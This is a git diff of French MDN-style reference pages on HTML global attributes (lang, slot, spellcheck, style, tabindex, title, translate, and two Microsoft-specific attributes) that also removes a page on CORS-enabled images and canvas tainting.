      • +
    +
    • +
diff --git a/files/fr/web/html/global_attributes/lang/index.html b/files/fr/web/html/global_attributes/lang/index.html new file mode 100644 index 0000000000..6a45c3ed2a --- /dev/null +++ b/files/fr/web/html/global_attributes/lang/index.html @@ -0,0 +1,86 @@ +--- +title: lang +slug: Web/HTML/Attributs_universels/lang +tags: + - Attribut + - Attribut universel + - HTML + - Reference +translation_of: Web/HTML/Global_attributes/lang +--- +
{{HTMLSidebar("Global_attributes")}}
+ +

L'attribut universel lang permet de définir la langue utilisée pour l'élément. Pour les éléments non-éditables, c'est la langue dans laquelle ils sont écrits. Pour les éléments éditables, c'est la langue dans laquelle devrait écrire l'utilisateur. La valeur de cet attribut est une « balise de langue » dont le format est défini par le document de l'IETF : Les balises d'identification de langues (BCP47). Si cette balise est la chaîne vide, la langue sera définie comme inconnue. Si la balise de langue n'est pas valide selon BCP47, la langue sera définie comme invalide.

+ +
{{EmbedInteractiveExample("pages/tabbed/attribute-lang.html","tabbed-shorter")}}
+ + + +

Même lorsque l'attribut lang est défini, il peut ne pas être pris en compte. En effet, l'attribut {{htmlattrxref("xml:lang")}} aura la priorité sur celui-ci.

+ +

Pour la pseudo-classe CSS {{cssxref(":lang")}}, deux noms de langues invalides sont considérés différents si les noms utilisés sont différents. Par exemple, alors que :lang(fr) permet l'appariement avec les déclarations (valides) lang="fr-BE" ou lang="fr-CH", un encodage (invalide) comme :lang(xyzzy) ne permet pas l'appariement avec une déclaration (invalide) comme lang="xyzzy-Zorp!".

+ +

Syntaxe des balises de langue

+ +

La syntaxe complète décrite par la BCP 47 est suffisamment développée pour désigner certains dialectes spécifiques. Toutefois, dans la plupart des cas, l'utilisation sera assez simple.

+ +

Voici un aperçu de la syntaxe simplifiée. Une balise de langue est composées de trois « sous-balises » séparées par des tirets. Chacune de ces sous-balises indique une certaine propriété de la langue. Les trois sous-balises communément utilisées sont :

+ +
+
Sous-balise de langue
+
Ce fragment est obligatoire. C'est un code sur deux ou trois caractères (généralement en minuscules) qui définit la langue de base. Pour l'anglais, cette sous-balise est en et pour le Badeshi, cette balise est bdz.
+
Sous-balise de script
+
Ce fragment est optionnel. Il décrit le système d'écriture utilisé par la langue. Cette sous-balise contient toujours quatre caractères. Pour le braille français, la balise complète sera donc fr-Brail ; pour le japonais écrit avec l'alphabet Katakana, le code sera ja-Kana. Si la langue est utilisée avec le script le plus fréquemment utilisé (par exemple de l'espagnol écrit avec l'alphabet latin), il n'est pas nécessaire d'indiquer cette sous-balise.
+
Sous-balise régionale
+
Ce fragment est optionnel. Il définit un dialecte de la langue de base pour une région donnée. Cette sous-balise est composée de deux lettres en majuscules pour indiquer un pays ou de trois chiffres pour une indiquer une région qui n'est pas un pays. Ainsi, es-ES représente l'espagnol parlé en Espagne et es-013 représente l'espagnol parlé en Amérique centrale ; l'espagnol international serait simplement es.
+
+ +

La sous-balise de script doit précéder la sous-balise régionale si les deux sont présentes. Voici un exemple avec les trois fragments : ru-Cyrl-BY qui correspond au russe, écrit avec l'alphabet cyrillique, tel que parlé en Biélorussie.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('HTML WHATWG', "dom.html#the-lang-and-xml:lang-attributes", "lang")}}{{Spec2('HTML WHATWG')}}Aucun changement depuis la dernière dérivation, {{SpecName('HTML5.1')}}
{{SpecName('HTML5.1', "dom.html#the-lang-and-xml:lang-attributes", "lang")}}{{Spec2('HTML5.1')}}Dérivée de {{SpecName('HTML WHATWG')}}, aucun changement de {{SpecName('HTML5 W3C')}}
{{SpecName('HTML5 W3C', "dom.html#the-lang-and-xml:lang-attributes", "lang")}}{{Spec2('HTML5 W3C')}}Dérivée de {{SpecName('HTML WHATWG')}}. Définition du comportement de l'attribut xml:lang et de l'algorithme à utiliser pour déterminer la langue utilisée. Cet attribut devient également un attribut global à part entière.
{{SpecName('HTML4.01', 'struct/dirlang.html#h-8.1', 'lang')}}{{Spec2('HTML4.01')}}Attribut supporté pour tous les éléments {{HTMLElement("applet")}}, {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("br")}}, {{HTMLElement("frame")}}, {{HTMLElement("frameset")}}, {{HTMLElement("iframe")}}, {{HTMLElement("param")}}, et {{HTMLElement("script")}}.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("html.global_attributes.lang")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/html/global_attributes/slot/index.html b/files/fr/web/html/global_attributes/slot/index.html new file mode 100644 index 0000000000..c6b96098a0 --- /dev/null +++ b/files/fr/web/html/global_attributes/slot/index.html @@ -0,0 +1,49 @@ +--- +title: slot +slug: Web/HTML/Attributs_universels/slot +tags: + - Attribut + - Attribut universel + - HTML + - Reference +translation_of: Web/HTML/Global_attributes/slot +--- +
{{HTMLSidebar("Global_attributes")}}{{SeeCompatTable}}
+ +

L'attribut HTML universel slot permet d'affecter un créneau d'un shadow DOM à un élément. Un élément avec un attribut slot est affecté au créneau créé par l'élément {{HTMLElement("slot")}} dont la valeur de l'attribut {{htmlattrxref("name", "slot")}} correspond à celle de l'attribut slot.

+ +

Pour des exemples d'application, consulter le guide Utiliser les modèles (templates) et les emplacements (slots).

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('HTML WHATWG', "dom.html#attr-slot", "slot attribute")}}{{Spec2('HTML WHATWG')}} 
{{SpecName('DOM WHATWG', "#dom-element-slot", "slot attribute")}}{{Spec2('DOM WHATWG')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("html.global_attributes.slot")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/html/global_attributes/spellcheck/index.html b/files/fr/web/html/global_attributes/spellcheck/index.html new file mode 100644 index 0000000000..efc982d646 --- /dev/null +++ b/files/fr/web/html/global_attributes/spellcheck/index.html @@ -0,0 +1,153 @@ +--- +title: spellcheck +slug: Web/HTML/Attributs_universels/spellcheck +tags: + - Attribut + - Attribut universel + - HTML + - Reference +translation_of: Web/HTML/Global_attributes/spellcheck +--- +
{{HTMLSidebar("Global_attributes")}}
+ +

L'attribut universel spellcheck est un attribut à valeur contrainte qui définit si l'orthographe du contenu de l'élément doit être vérifiée.

+ +
{{EmbedInteractiveExample("pages/tabbed/attribute-spellcheck.html","tabbed-shorter")}}
+ + + +

Les valeurs autorisées pour cet attribut sont :

+ +
    +
  • true : cette valeur indique que, si possible, l'orthographe de l'élément doit être vérifiée avec le correcteur orthographique.
    • +
  • false : cette valeur indique que l'orthographe de l'élément ne doit pas être vérifié.
    • +
+ +

La valeur par défaut de l'attribut (utilisée si elle n'est pas définie explicitement) sera fonction du navigateur et du type d'élément. Cette valeur par défaut peut également être héritée (autrement dit, la valeur utilisée pour l'élément courant sera la valeur explicite définie pour son plus proche ancêtre dans l'arbre des éléments).

+ +

Cet attribut est un attribut à valeur contrainte, ce n'est pas un attribut booléen. Il faut donc utiliser explicitement les valeurs true ou false. Ainsi :

+ +
<label spellcheck>Label exemple</label>
+ +

sera invalide, la formulation correcte étant :

+ +
<label spellcheck="true">Label exemple</label>
+ +

Cet attribut n'est qu'une indication à destination du navigateur : il n'est pas obligatoire qu'un navigateur puisse vérifier l'orthographe. Les éléments non-éditables ne sont généralement pas vérifiés, même lorsque spellcheck vaut true et que le navigateur possède une fonctionnalité de vérification orthographique.

+ +

La valeur par défaut sera différente selon l'élément et le navigateur :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Navigateur{{HTMLElement("html")}}{{HTMLElement("textarea")}}{{HTMLElement("input")}}AutresCommentaires
Firefox / GeckofalsefalsefalsehéritéLorsque layout.spellcheckDefault vaut 0
falsetruehéritéhéritéLorsque layout.spellcheckDefault vaut 1 (valeur par défaut)
falsetruetruehéritéLorsque layout.spellcheckDefault vaut 2
Chromefalsetrue?hérité
Internet Explorerfalsetrue?hérité
Operafalsetrue?hérité
Safarifalsetrue?hérité
+ +

Exemples

+ +

HTML

+ +
<!-- La valeur par défaut -->
+<textarea>Saisissay un texte issy</textarea>
+
+<!-- Les valeurs explicites -->
+<textarea spellcheck="true">Saisissay un texte issy</textarea>
+<textarea spellcheck="false">Saisissay un texte issy</textarea>
+
+ +

Résultat

+ +

{{EmbedLiveSample("Exemples","200","300")}}

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('HTML WHATWG', "interaction.html#spelling-and-grammar-checking", "spellcheck")}}{{Spec2('HTML WHATWG')}}Pas de changement depuis la dernière dérivation, {{SpecName('HTML5.1')}}
{{SpecName('HTML5.1', "editing.html#spelling-and-grammar-checking", "spellcheck")}}{{Spec2('HTML5.1')}}Dérivée de {{SpecName('HTML WHATWG')}}, définition initiale.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("html.global_attributes.spellcheck")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/html/global_attributes/style/index.html b/files/fr/web/html/global_attributes/style/index.html new file mode 100644 index 0000000000..3da865a0e9 --- /dev/null +++ b/files/fr/web/html/global_attributes/style/index.html @@ -0,0 +1,92 @@ +--- +title: style +slug: Web/HTML/Attributs_universels/style +tags: + - Attribut + - Attribut universel + - HTML + - Reference +translation_of: Web/HTML/Global_attributes/style +--- +
{{HTMLSidebar("Global_attributes")}}
+ +

L'attribut universel style contient des déclarations CSS afin de mettre en forme l'élément. Attention, il est recommandé de définir les règles de mise en forme dans un ou plusieurs fichiers séparés. Cet attribut, ainsi que l'élément {{HTMLElement("style")}} ont simplement pour but de permettre une mise en forme rapide, notamment pour tester.

+ +
{{EmbedInteractiveExample("pages/tabbed/attribute-style.html","tabbed-shorter")}}
+ + + +
+

Note : Cet attribut ne doit pas être utilisé à des fins sémantiques. En effet, si toute mise en forme est retirée, toute page doit rester correcte d'un point de vue sémantique. On ne devrait pas, notamment, utiliser cet attribut afin de cacher des informations qui ne seraient pas pertinentes (cela devrait être réalisé avec l'attribut {{htmlattrxref("hidden")}}.

+
+ +

Exemples

+ +

HTML

+ +
<p style="color: rgb(255, 0, 0)">
+  Cette méthode n'est pas vraiment recommandée
+</p>
+
+<p class="toto">
+  Alors que ça, c'est mieux.
+</p>
+ +

CSS

+ +
.toto {
+  color: rgb(0, 255, 0);
+}
+ +

Résultat

+ +

{{EmbedLiveSample("Exemples","300","300")}}

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('HTML WHATWG', "dom.html#the-style-attribute", "style")}}{{Spec2('HTML WHATWG')}}Aucune modification depuis la dernière dérivation de {{SpecName('HTML5.1')}}
{{SpecName('HTML5.1', "dom.html#the-style-attribute", "style")}}{{Spec2('HTML5.1')}}Dérivée de {{SpecName('HTML WHATWG')}}, aucune modification depuis {{SpecName('HTML5 W3C')}}
{{SpecName('HTML5 W3C', "dom.html#the-style-attribute", "style")}}{{Spec2('HTML5 W3C')}}Dérivée de {{SpecName('HTML WHATWG')}}. Depuis {{SpecName("HTML4.01")}}, cet attribut est désormais un attribut universel.
{{SpecName('HTML4.01', 'present/styles.html#h-14.2.2', 'style')}}{{Spec2('HTML4.01')}}Cet attribut est pris en charge par tous les éléments à l'exception de {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("param")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}}, et {{HTMLElement("title")}}.
{{SpecName("CSS3 Style", "", "")}}{{Spec2("CSS3 Style")}}Définition du contenu pour l'attribut style.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("html.global_attributes.style")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/html/global_attributes/tabindex/index.html b/files/fr/web/html/global_attributes/tabindex/index.html new file mode 100644 index 0000000000..87aa27e5cc --- /dev/null +++ b/files/fr/web/html/global_attributes/tabindex/index.html @@ -0,0 +1,115 @@ +--- +title: tabindex +slug: Web/HTML/Attributs_universels/tabindex +tags: + - Attribut + - Attribut universel + - HTML + - Reference +translation_of: Web/HTML/Global_attributes/tabindex +--- +
{{HTMLSidebar("Global_attributes")}}
+ +

L'attribut universel tabindex est un entier indiquant si l'élément peut capturer le focus et si c'est le cas, dans quel ordre il le capture lors de la navigation au clavier (généralement à l'aide de la touche Tab). Si plusieurs éléments partagent la même valeur d'attribut tabindex, leur ordre sera calculé en fonction de leur position dans le document.

+ +
{{EmbedInteractiveExample("pages/tabbed/attribute-tabindex.html","tabbed-standard")}}
+ + + +

Cet attribut peut prendre l'une des valeurs suivantes :

+ +
    +
  • Une valeur négative : l'élément peut capturer le focus mais ne peut pas être atteint via la navigation au clavier ; +
    +

    Note : Cette valeur peut être utile lorsqu'on a un contenu situé en dehors de l'écran qui doit apparaître lors d'un évènement donné. Il ne sera pas possible d'y passer le focus au clavier mais on pourra le faire avec la méthode focus().

    +
    +
    • +
  • 0 : l'élément peut capturer le focus et être atteint via la navigation au clavier, cependant son ordre relatif est défini par la plateforme, généralement selon l'ordre des éléments du DOM ; +
    +

    Attention ! Le positionnement CSS n'aura pas d'impact sur le taborder. Le positionnement n'a qu'un impact visuel, l'ordre des tabulations correspond à l'ordre du DOM.

    +
    +
    • +
  • Une valeur positive : l'élément peut capturer le focus et peut être atteint via la navigation au clavier, l'ordre relatif dans la navigation est défini par la valeur de l'attribut. Les navigations seront parcourues dans l'ordre croissant. +
    +

    Attention ! Il n'est pas recommandé de fournir des valeurs positives pour les éléments car cela peut être source de confusion, notamment pour les personnes qui utilisent des technologies d'assistance. Il est préférable d'organiser les éléments dans un ordre correct au niveau du DOM.

    +
    +
    • +
+ +

Si on utilise l'attribut tabindex sur un élément {{HTMLElement("div")}}, on ne pourra pas naviguer dans le contenu de cet élément avec les flèches du clavier, sauf si tabindex est également utilisé sur le contenu. Pour observer ce comportement, vous pouvez utiliser cet exemple JSFiddle.

+ +
+

Note : La valeur maximale pour tabindex est fixée à 32767 par HTML4. Sa valeur par défaut est 0 pour les éléments qui peuvent recevoir le focus et -1 pour les autres.

+
+ +

Exemples

+ +

HTML

+ +
<button tabindex="1">Un bouton</button>
+<textarea>Saisir un texte</textarea>
+<button tabindex="0">Un autre bouton</button>
+<button tabindex="1">Et un troisième</button>
+ +

Résultat

+ +

{{EmbedLiveSample("Exemples","200","300")}}

+ +

Accessibilité

+ +

Il faut éviter d'utiliser l'attribut tabindex avec du contenu non-interactif si on souhaite uniquement rendre cet élément accessible au clavier (par exemple en voulant utiliser un élément {{HTMLElement("div")}} plutôt qu'un élément {{HTMLElement("button")}}).

+ +

Les composants rendus interactifs par cette méthode ne feront pas partie de l'arbre d'accessibilité et ne pourront pas être analysés par les technologies d'assistance. Le contenu devrait être décrit sémantiquement avec des éléments interactifs ({{HTMLElement("a")}}, {{HTMLElement("button")}}, {{HTMLElement("details")}}, {{HTMLElement("input")}}, {{HTMLElement("select")}}, {{HTMLElement("textarea")}}, etc.). En effet, ces éléments disposent nativement de rôles et d'états qui peuvent être utilisées par les API d'accessibilité (il faut sinon les gérer via ARIA).

+ + + +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('HTML WHATWG', "interaction.html#attr-tabindex", "tabindex")}}{{Spec2('HTML WHATWG')}}Aucune modification depuis la dernière dérivation, {{SpecName('HTML5.1')}}
{{SpecName('HTML5.1', "editing.html#the-tabindex-attribute", "tabindex")}}{{Spec2('HTML5.1')}}Dérivée de {{SpecName('HTML WHATWG')}}, aucune modification depuis {{SpecName('HTML5 W3C')}}
{{SpecName('HTML5 W3C', "editing.html#attr-tabindex", "tabindex")}}{{Spec2('HTML5 W3C')}}Dérivée de {{SpecName('HTML WHATWG')}}. À partir de {{SpecName("HTML4.01")}}, l'attribut est désormais supporté sur tous les éléments, c'est un attribut global à part entière.
{{SpecName('HTML4.01', 'interact/forms.html#adef-tabindex', 'tabindex')}}{{Spec2('HTML4.01')}}Attribut uniquement supporté sur {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("button")}}, {{HTMLElement("object")}}, {{HTMLElement("select")}}, et {{HTMLElement("textarea")}}.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("html.global_attributes.tabindex")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/html/global_attributes/title/index.html b/files/fr/web/html/global_attributes/title/index.html new file mode 100644 index 0000000000..06f0feee8d --- /dev/null +++ b/files/fr/web/html/global_attributes/title/index.html @@ -0,0 +1,129 @@ +--- +title: title +slug: Web/HTML/Attributs_universels/title +tags: + - Attribut + - Attribut universel + - HTML + - Reference +translation_of: Web/HTML/Global_attributes/title +--- +
{{HTMLSidebar("Global_attributes")}}
+ +

L'attribut universel title contient un texte d'information relatif à l'élément auquel il est rattaché.

+ +
{{EmbedInteractiveExample("pages/tabbed/attribute-title.html","tabbed-shorter")}}
+ + + +

On le trouve généralement utilisé pour :

+ +
    +
  • Fournir un libellé pour les éléments {{HTMLElement("iframe")}}
    • +
  • Fournir un libellé associé automatiquement à un élément {{HTMLElement("input")}}
    • +
  • Fournir un libellé pour les contrôles des tableaux de données
    • +
+ +

Si cet attribut est absent, cela signifie que le titre de l'élément ancêtre le plus proche est toujours pertinent (et pourrait être utilisé comme bulle d'information pour l'élément courant). Si cet attribut vaut la chaîne vide, cela signifie explicitement que la valeur du titre de l'ancêtre le plus proche n'est pas pertinent (et ne devrait pas être utilisé comme bulle d'information).

+ +

Une sémantique différente est définie pour cet attribut lorsqu'il est utilisé avec les éléments {{HTMLElement("link")}}, {{HTMLElement("abbr")}}, {{HTMLElement("input")}} et {{HTMLElement("menuitem")}}.

+ +

Titre sur plusieurs lignes

+ +

Un attribut title peut contenir plusieurs lignes. Chaque caractère U+000A LINE FEED (LF) représentera un saut de ligne. Le fragment de code suivant représente donc un élément dont le titre est écrit sur deux lignes.

+ +

HTML

+ +
<p>
+  Les sauts de ligne au sein d'un attribut title doivent être pris en compte :
+  <abbr title="Ceci est un
+  titre sur plusieurs lignes">Exemple</abbr>.
+</p>
+
+ +

Résultat

+ +

{{EmbedLiveSample("Titre_sur_plusieurs_lignes")}}

+ +

Héritage de title

+ +

Lorsqu'un élément ne possède pas d'attribut title, il hérite de la valeur de l'attribut pour l'élément parent (qui peut également l'hériter de son parent, etc.).

+ +

Si cet attribut est défini avec la chaîne vide, cela signifie que le titre provenant d'un élément parent n'est pas pertinent et qu'il ne devrait pas être utilisé.

+ +

HTML

+ +
<div title="Une bubulle">
+  <p>Si vous survolez cet élément, il y aura une bulle d'information "Une bubulle".</p>
+  <p title="">Et au-dessus de celui-ci, aucune info.</p>
+</div>
+ +

Résultat

+ +

{{EmbedLiveSample("Héritage_de_title")}}

+ +

Accessibilité

+ +

L'attribut title est très problématique pour :

+ +
    +
  • Les personnes qui utilisent des appareils à interface tactile
    • +
  • Les personnes qui naviguent au clavier
    • +
  • Les personnes qui naviguent en utilisant des outils d'assistance comme des lecteurs d'écran ou des loupes logicielles
    • +
  • Les personnes souffrant de troubles musculaires ou cognitifs.
    • +
+ +

Cela est dû à une prise en charge hétérogène de la part des navigateurs. Si on souhaite avoir une bulle d'information, mieux vaudra utiliser une technique plus accessible.

+ + + +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('HTML WHATWG', "elements.html#the-title-attribute", "title")}}{{Spec2('HTML WHATWG')}}Aucune modification depuis {{SpecName('HTML5.1')}}
{{SpecName('HTML5.1', "dom.html#the-title-attribute", "title")}}{{Spec2('HTML5.1')}}Dérivation de {{SpecName('HTML WHATWG')}}, aucune modification de {{SpecName('HTML5 W3C')}}
{{SpecName('HTML5 W3C', "dom.html#the-title-attribute", "title")}}{{Spec2('HTML5 W3C')}}Dérivation de {{SpecName('HTML WHATWG')}}. À partir de {{SpecName("HTML4.01")}}, title est désormais un attribut universel.
{{SpecName('HTML4.01', 'struct/global.html#adef-title', 'title')}}{{Spec2('HTML4.01')}}Pris en charge par l'ensemble des éléments sauf {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("param")}}, {{HTMLElement("script")}} et {{HTMLElement("title")}}.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("html.global_attributes.title")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/html/global_attributes/translate/index.html b/files/fr/web/html/global_attributes/translate/index.html new file mode 100644 index 0000000000..215800e5ff --- /dev/null +++ b/files/fr/web/html/global_attributes/translate/index.html @@ -0,0 +1,71 @@ +--- +title: translate +slug: Web/HTML/Attributs_universels/translate +tags: + - Attribut + - Attribut universel + - Experimental + - HTML + - Reference +translation_of: Web/HTML/Global_attributes/translate +--- +
{{HTMLSidebar("Global_attributes")}}
+ +

L'attribut universel translate est un attribut à valeur contrainte qui peut être utilisé afin d'indiquer si les valeurs d'attribut d'un élément et si les valeurs de ses nœuds {{domxref("Text")}} descendants doivent être traduits lorsque la page est localisée ou s'il faut les laisser inchangés. Les valeurs autorisées pour cet attribut sont :

+ +
    +
  • "yes" (ou une chaîne vide), qui indique que l'élément devrait être traduit lorsque la page est localisée ;
    • +
  • "no", qui indique que l'élément ne doit pas être traduit.
    • +
+ +
+

Note : Bien que la prise en charge de cet attribut ne soit pas homogène pour les navigateurs, celui-ci est pris en compte par les outils de traduction automatique (Google Translate par exemple) et les outils de traduction utilisés par les traducteurs. Aussi, cet attribut doit être utilisé par les auteurs web afin d'indiquer correctement le contenu qui ne devrait pas être traduit.

+
+ +

Exemples

+ +

HTML

+ +
<label for="postcode" translate="no">
+   <span translate="yes">Enter your postcode to find the nearest store</span>
+</label>
+<input id="postcode" type="text">
+ +

Résultat

+ +

{{EmbedLiveSample("Exemples","250","250")}}

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('HTML WHATWG', "dom.html#attr-translate", "translate")}}{{Spec2('HTML WHATWG')}}Aucun changement depuis la dernière dérivation {{SpecName('HTML5.1')}}
{{SpecName('HTML5.1', "dom.html#the-translate-attribute", "translate")}}{{Spec2('HTML5.1')}}Dérivée de {{SpecName('HTML WHATWG')}}, définition initiale.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("html.global_attributes.translate")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/html/global_attributes/x-ms-acceleratorkey/index.html b/files/fr/web/html/global_attributes/x-ms-acceleratorkey/index.html new file mode 100644 index 0000000000..f03780b703 --- /dev/null +++ b/files/fr/web/html/global_attributes/x-ms-acceleratorkey/index.html @@ -0,0 +1,45 @@ +--- +title: x-ms-acceleratorkey +slug: Web/HTML/Attributs_universels/x-ms-acceleratorkey +tags: + - Attribut + - HTML + - Non-standard + - Reference +translation_of: Web/HTML/Global_attributes/x-ms-acceleratorkey +--- +
{{HTMLSidebar("Global_attributes")}}{{Non-standard_Header}}
+ +

La propriété x-ms-acceleratorkey fournit une méthode pour déclarer si une touche d'accélération a été affectée à un élément.

+ +
+

Note : Pour fournir un raccourci clavier pour un élément qui n'utilise pas JavaScript, on utilisera l'attribut accesskey.

+
+ +

{{Non-standard_Inline}} Cette propriété non-standard est spécifique à Internet Explorer et à Microsoft Edge.

+ +

La propriété x-ms-acceleratorkey permet d'indiquer sur l'arbre d'accessibilité (utilisé par les outils d'assistance tels que les lecteurs d'écran) qu'une touche d'accélération existe. Cet attribut ne fournit pas le comportement déclenché par cette touche. Il est nécessaire de fournir les gestionnaires d'évènements associés tels que onkeypress, onkeydown ou onkeyup afin de traiter l'utilisation de la touche dans l'application.

+ + + +

Syntaxe

+ +
<button x-ms-acceleratorkey="string">...</button>
+ +

Valeur

+ +

Cette propriété peut être une chaîne de caractères avec le nom de la touche accélératrice :

+ +
    +
  • "Ctrl+B" pour indiquer la combinaison des touches Ctrl et B.
    • +
  • "J" pour indiquer la touche J uniquement.
    • +
  • "Ctrl+; then K" (cf. FogBugz’s old keyboard mode). Une approche plus compliquée mais qui ne remplace pas les raccourcis clavier fournis par le navigateur ou le système d'exploitation.
    • +
+ +

Voir aussi

+ + diff --git a/files/fr/web/html/global_attributes/x-ms-format-detection/index.html b/files/fr/web/html/global_attributes/x-ms-format-detection/index.html new file mode 100644 index 0000000000..f11309e1b5 --- /dev/null +++ b/files/fr/web/html/global_attributes/x-ms-format-detection/index.html @@ -0,0 +1,60 @@ +--- +title: x-ms-format-detection +slug: Web/HTML/Attributs_universels/x-ms-format-detection +tags: + - Attribut + - HTML + - Non-standard + - Reference +translation_of: Web/HTML/Global_attributes/x-ms-format-detection +--- +
{{HTMLSidebar("Global_attributes")}}{{Non-standard_Header}}
+ +

L'attribut x-ms-format-detection détermine si le format de la donnée dans le contenu est détectée automatiquement et, lorsqu'elle est trouvée, est convertie en un lien sur lequel on peut cliquer.

+ +
+

Note : Les liens créés grâce à la détection de format n'apparaissent pas dans le DOM.

+
+ +

{{Non-standard_inline}}Cette propriété est spécifique à Internet Explorer et à Microsoft Edge.

+ +

Syntaxe

+ +
<html x-ms-format-detection="none">
+
+ +

Valeurs

+ +

Cet attribut peut prendre une chaîne de caractères parmi les suivantes comme valeur :

+ +
+
all
+
Tous les formats de donnée pris en charge sont détectés.
+
none
+
La détection de format est désactivée.
+
phone
+
Seuls les numéros de téléphone sont détectés.
+
+ +
+

Note : Les liens créés via la détection de format n'auront pas d'impact sur le contenu ou sur la disposition du DOM.

+
+ +

Exemples

+ +

Pour désactiver la détection automatique sous certaines conditions, on pourra par exemple utiliser JavaScript afin d'ajouter x-ms-format-detection sur les éléments qu'on soit sur un mobile (détection activée) ou sur un ordinateur de bureau (détection désactivée) :

+ +
if (window.matchMedia('(min-width: 1024px)').matches) {
+    var e = document.getElementsByClassName("phone");
+    for (i = 0; i < e.length; i++)
+        e[i].setAttribute("x-ms-format-detection", "none");
+}
+
+ +

Dans cet exemple, les numéros de téléphone conservent la mise en forme tant que la zone d'affichage (viewport) est moins large que 1024 pixels.

+ +

Voir aussi

+ + diff --git "a/files/fr/web/html/images_avec_le_contr\303\264le_d_acc\303\250s_http/index.html" "b/files/fr/web/html/images_avec_le_contr\303\264le_d_acc\303\250s_http/index.html" deleted file mode 100644 index e0f92b24c7..0000000000 --- "a/files/fr/web/html/images_avec_le_contr\303\264le_d_acc\303\250s_http/index.html" +++ /dev/null @@ -1,117 +0,0 @@ ---- -title: Images avec le contrôle d'accès HTTP -slug: Web/HTML/Images_avec_le_contrôle_d_accès_HTTP -tags: - - Avancé - - CORS - - Canvas - - HTML - - Reference -translation_of: Web/HTML/CORS_enabled_image ---- -
{{QuickLinksWithSubpages("/fr/docs/Web/HTML/")}}
- -

HTML permet d'utiliser l'attribut {{htmlattrxref("crossorigin", "img")}} sur les images. Utilisé avec un en-tête {{Glossary("CORS")}} adéquat, les images définies par {{HTMLElement("img")}} provenant d'origines étrangères pourront être utilisées au sein d'un élément {{HTMLElement("canvas")}} comme si elles avaient été chargées depuis l'origine courante.

- -

Pour plus de détails sur l'attribut crossorigin, voir les attributs de paramétrage du CORS.

- -

Canevas corrompu et sécurité

- -

Les pixels composant un canevas pouvant venir de différentes sources, notamment d'images ou de vidéos récupérées depuis des hôtes tiers, il est nécessaire de se prémunir contre certains problèmes de sécurité.

- -

Dès que des données sont chargées dans le canevas depuis une autre origine sans avoir été « approuvées » par le CORS, le canevas devient corrompu (tainted). Dès qu'un canevas est corrompu, il n'est plus considéré comme sécurisé et toute tentative de récupérer des données depuis les données de l'image résultera en une exception.

- -

Si la source du contenu tiers est un élément HTML {{HTMLElement("img")}} ou SVG {{SVGElement("svg")}}, il n'est plus permis de récupérer le contenu du canevas.

- -

Si la source du contenu tiers est une image obtenue à partir d'un {{domxref("HTMLCanvasElement")}} ou d'une {{domxref("ImageBitMap")}} et que la source de l'image ne respecte pas les règles quant à l'unicité de l'origine, il ne sera pas possible de lire le contenu du canevas.

- -

Appeler l'une des méthodes suivantes sur un canevas corrompu déclenchera une erreur :

- -
    -
  • {{domxref("CanvasRenderingContext2D.getImageData", "getImageData()")}} sur le contexte du canevas
    • -
  • {{domxref("HTMLCanvasElement.toBlob", "toBlob()")}} sur l'élément {{HTMLElement("canvas")}}
    • -
  • {{domxref("HTMLCanvasElement.toDataURL", "toDataURL()")}} sur le canevas
    • -
- -

L'exception levée par de tels appels sera une exception SecurityError. Cette mesure protège les utilisateurs contre l'exposition de données privées via des images provenant de sites tiers sans permission.

- -

Stocker une image provenant d'une origine tierce

- -

Dans cet exemple, on souhaite autoriser la récupération et l'enregistrement d'images provenant d'une autre origine. Pour parvenir à ce résultat, il faudra configurer le serveur et également écrire du code pour le site web.

- -

Configuration serveur

- -

Pour commencer, configurons le serveur stockant les images avec un en-tête {{HTTPHeader("Access-Control-Allow-Origin")}} qui permet un accès multi-origines aux fichiers images.

- -

Dans la suite de cet exemple, on prendra le cas d'un site est servi via Apache. On pourra utiliser le fragment de configuration serveur Apache pour les images CORS :

- -
<IfModule mod_setenvif.c>
-  <IfModule mod_headers.c>
-    <FilesMatch "\.(bmp|cur|gif|ico|jpe?g|png|svgz?|webp)$">
-      SetEnvIf Origin ":" IS_CORS
-      Header set Access-Control-Allow-Origin "*" env=IS_CORS
-    </FilesMatch>
-  </IfModule>
-</IfModule>
- -

Pour résumer, cela permet de configurer le serveur afin de pouvoir accéder aux fichiers graphiques (ceux avec les extensions ".bmp", ".cur", ".gif", ".ico", ".jpg", ".jpeg", ".png", ".svg", ".svgz", and ".webp") depuis d'autres origines, d'où qu'elles soient sur Internet.

- -

Implémenter l'enregistrement
